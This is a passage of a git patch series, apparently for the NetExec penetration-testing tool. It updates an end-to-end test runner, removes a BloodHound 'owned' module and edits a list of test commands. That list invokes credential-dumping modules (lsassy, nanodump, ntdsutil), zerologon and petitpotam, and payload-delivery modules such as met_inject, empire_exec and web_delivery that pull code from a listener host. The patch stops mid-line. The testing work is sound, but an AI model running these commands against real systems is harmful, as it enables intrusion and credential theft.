From 45b03e78d548644e2ba55e4a0cd7046685558162 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 18 May 2024 21:08:20 -0400 Subject: [PATCH 01/11] Improve testing and add retries --- tests/e2e_tests.py | 63 ++++++++++++++++++++++++++++++---------------- 1 file changed, 41 insertions(+), 22 deletions(-) diff --git a/tests/e2e_tests.py b/tests/e2e_tests.py index 6a46d22b7..4b64eb115 100644 --- a/tests/e2e_tests.py +++ b/tests/e2e_tests.py @@ -1,6 +1,7 @@ import argparse import os import subprocess +from time import time from rich.console import Console import platform @@ -70,12 +71,13 @@ def get_cli_args(): ) parser.add_argument( "--print-failures", - action="store_true", + action="store_false", required=False, - help="Prints all the commands of failed tests at the end" + help="Prints all the commands of failed tests at the end (default: True)", ) return parser.parse_args() + def parse_line_nums(value): line_nums = [] for item in value.split(): @@ -86,6 +88,7 @@ def parse_line_nums(value): line_nums.append(int(item)) return line_nums + def generate_commands(args): lines = [] file_loc = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) @@ -116,6 +119,7 @@ def generate_commands(args): lines.append(replace_command(args, line)) return lines + def replace_command(args, line): kerberos = "-k " if args.kerberos else "" @@ -125,9 +129,25 @@ def replace_command(args, line): return line +def execute_task(console, task): + result = subprocess.Popen( + task, + shell=True, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + ) + + # pass in a "y" for things that prompt for it (--ndts, etc) + text = result.communicate(input=b"y")[0] + return_code = result.returncode + return text, return_code + + def run_e2e_tests(args): console = Console() tasks = generate_commands(args) + tasks_len = len(tasks) failures = [] result = subprocess.Popen( @@ -138,50 +158,49 @@ def run_e2e_tests(args): ) version = result.communicate()[0].decode().strip() - with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for nxc v{version}..."): + with console.status(f"[bold green] :brain: Running {tasks_len} test commands for nxc v{version}..."): + start_time = time() passed = 0 failed = 0 + tries = 3 while tasks: task = str(tasks.pop(0)) # replace double quotes with single quotes for Linux due to special chars/escaping if platform.system() == "Linux": task = task.replace('"', "'") + console.log(f"Running command: {task}") - result = subprocess.Popen( - task, - shell=True, - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - ) - # pass in a "y" for things that prompt for it (--ndts, etc) - text = result.communicate(input=b"y")[0] - return_code = result.returncode - - if return_code == 0: - console.log(f"{task.strip()} :heavy_check_mark:") - passed += 1 - else: - console.log(f"[bold red]{task.strip()} :cross_mark:[/]") + failure = True + for i in range(tries): + text, return_code = execute_task(console, task) + if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"): + console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]") + failure = False + passed += 1 + break + else: + console.log(f"[bold red]{task.strip()} :cross_mark: Try {i + 1}/3[/]") + if failure: + console.log(f"[bold red]TASK FAILED {tries} TIMES, CONTINUING[/]") failures.append(task.strip()) failed += 1 if args.errors: raw_text = text.decode("utf-8") - if "error" in raw_text.lower() or "failure" in raw_text.lower(): + if "error" in raw_text.lower() or "failure" in raw_text.lower() or "Traceback (most recent call last)" in raw_text: console.log("[bold red]Error Detected:") console.log(f"{raw_text}") if args.verbose: # this prints sorta janky, but it does its job console.log(f"[*] Results:\n{text.decode('utf-8')}") - + if args.print_failures and failures: console.log("[bold red]Failed Commands:") for failure in failures: console.log(f"[bold red]{failure}") - console.log(f"Tests [bold green] Passed: {passed} [bold red] Failed: {failed}") + console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed}") if __name__ == "__main__": From b3c1e4f5c2aba258637bac9901da2304eaa1f7ae Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 18 May 2024 21:08:55 -0400 Subject: [PATCH 02/11] Delete deprecated bh_owned module --- nxc/modules/bh_owned.py | 87 ----------------------------------------- tests/e2e_commands.txt | 2 - 2 files changed, 89 deletions(-) delete mode 100644 nxc/modules/bh_owned.py diff --git a/nxc/modules/bh_owned.py b/nxc/modules/bh_owned.py deleted file mode 100644 index ac1326dea..000000000 --- a/nxc/modules/bh_owned.py +++ /dev/null @@ -1,87 +0,0 @@ -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com [FR] -# https://en.hackndo.com [EN] - -import sys -from neo4j import GraphDatabase -from neo4j.exceptions import AuthError, ServiceUnavailable - - -class NXCModule: - name = "bh_owned" - description = "Set pwned computer as owned in Bloodhound" - supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options - self.neo4j_pass = None - self.neo4j_user = None - self.neo4j_Port = None - self.neo4j_URI = None - - def options(self, context, module_options): - """ - URI URI for Neo4j database (default: 127.0.0.1) - PORT Listening port for Neo4j database (default: 7687) - USER Username for Neo4j database (default: 'neo4j') - PASS Password for Neo4j database (default: 'neo4j') - """ - self.neo4j_URI = "127.0.0.1" - self.neo4j_Port = "7687" - self.neo4j_user = "neo4j" - self.neo4j_pass = "neo4j" - - if module_options and "URI" in module_options: - self.neo4j_URI = module_options["URI"] - if module_options and "PORT" in module_options: - self.neo4j_Port = module_options["PORT"] - if module_options and "USER" in module_options: - self.neo4j_user = module_options["USER"] - if module_options and "PASS" in module_options: - self.neo4j_pass = module_options["PASS"] - - def on_admin_login(self, context, connection): - domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain - - host_fqdn = f"{connection.hostname}.{domain}".upper() - uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}" - context.log.debug(f"Neo4j URI: {uri}") - context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}") - - try: - driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False) - except AuthError: - context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options") - sys.exit() - except ServiceUnavailable: - context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options") - sys.exit() - except Exception as e: - context.log.fail("Unexpected error with Neo4J") - context.log.debug(f"Error {e}: ") - sys.exit() - - with driver.session() as session: - try: - with session.begin_transaction() as tx: - result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name") - record = result.single() - try: - value = record.value() - except AttributeError: - value = [] - except ServiceUnavailable as e: - context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options") - context.log.debug(f"Error {e}: ") - driver.close() - sys.exit() - if len(value) > 0: - context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound") - else: - context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?") - driver.close() diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index b895b6ad2..9d35ff8b8 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -32,8 +32,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned --options -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bh_owned netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc From 18d519dd68af797671f59a767ee0e93924607426 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 18 May 2024 21:09:24 -0400 Subject: [PATCH 03/11] Disable rdp module and add putty tests --- tests/data/test_passwords.txt | 3 ++- tests/data/test_users.txt | 3 ++- tests/e2e_commands.txt | 4 +++- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/tests/data/test_passwords.txt b/tests/data/test_passwords.txt index 1555435d6..29369c36d 100644 --- a/tests/data/test_passwords.txt +++ b/tests/data/test_passwords.txt @@ -1,4 +1,5 @@ Passw0rd! None ftp -guest \ No newline at end of file +guest +iamthekingoftheworld \ No newline at end of file diff --git a/tests/data/test_users.txt b/tests/data/test_users.txt index 413931913..624cf1895 100644 --- a/tests/data/test_users.txt +++ b/tests/data/test_users.txt @@ -1,4 +1,5 @@ Administrator Anonymous ftp -guest \ No newline at end of file +guest +robert.baratheon \ No newline at end of file diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 9d35ff8b8..25d9fa07d 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -98,6 +98,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir' netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty --options +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp --options @@ -161,7 +163,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections -netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp +#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp ##### LDAP netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups From 5e255bc17c5146f66175a0d8fd91342170638f32 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 18 May 2024 21:12:09 -0400 Subject: [PATCH 04/11] Fix brute force tests with cwd path --- tests/e2e_tests.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/e2e_tests.py b/tests/e2e_tests.py index 4b64eb115..b1ddffd51 100644 --- a/tests/e2e_tests.py +++ b/tests/e2e_tests.py @@ -129,13 +129,14 @@ def replace_command(args, line): return line -def execute_task(console, task): +def execute_task(task): result = subprocess.Popen( task, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, + cwd=os.path.dirname(__file__), ) # pass in a "y" for things that prompt for it (--ndts, etc) @@ -173,7 +174,7 @@ def run_e2e_tests(args): console.log(f"Running command: {task}") failure = True for i in range(tries): - text, return_code = execute_task(console, task) + text, return_code = execute_task(task) if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"): console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]") failure = False From 407e707847ea3369c9aa61a0283bdfac8ee9ee09 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 19 May 2024 08:48:16 -0400 Subject: [PATCH 05/11] Remove --options tests as they dont provide any additional value --- tests/e2e_commands.txt | 67 ------------------------------------------ 1 file changed, 67 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 25d9fa07d..60352014a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -28,121 +28,71 @@ netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBERO netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS ##### SMB Modules netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dfscoerce netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe" -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver # currently hanging indefinitely - TODO: look into this -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover --options #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger --options #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky --options # You must replace this with the proper CA information! #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA" -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1 --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1 -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi # Will need to change the PID for your test system netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir' -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman -#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp --options #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadowcoerce -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus --options # spider_plus takes a while to run, so it is commented out during normal testing # netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100 -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -o MSG="Message: {}" -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon --options netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon # test for multiple modules at once netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi @@ -176,29 +126,17 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gmsa ##### LDAP Modules netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network --options -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ldap-checker --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami --options netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso -netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso --options ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami @@ -222,14 +160,9 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # netexec mssql TARGET_HOST -u LOGIN_USERNAME -p 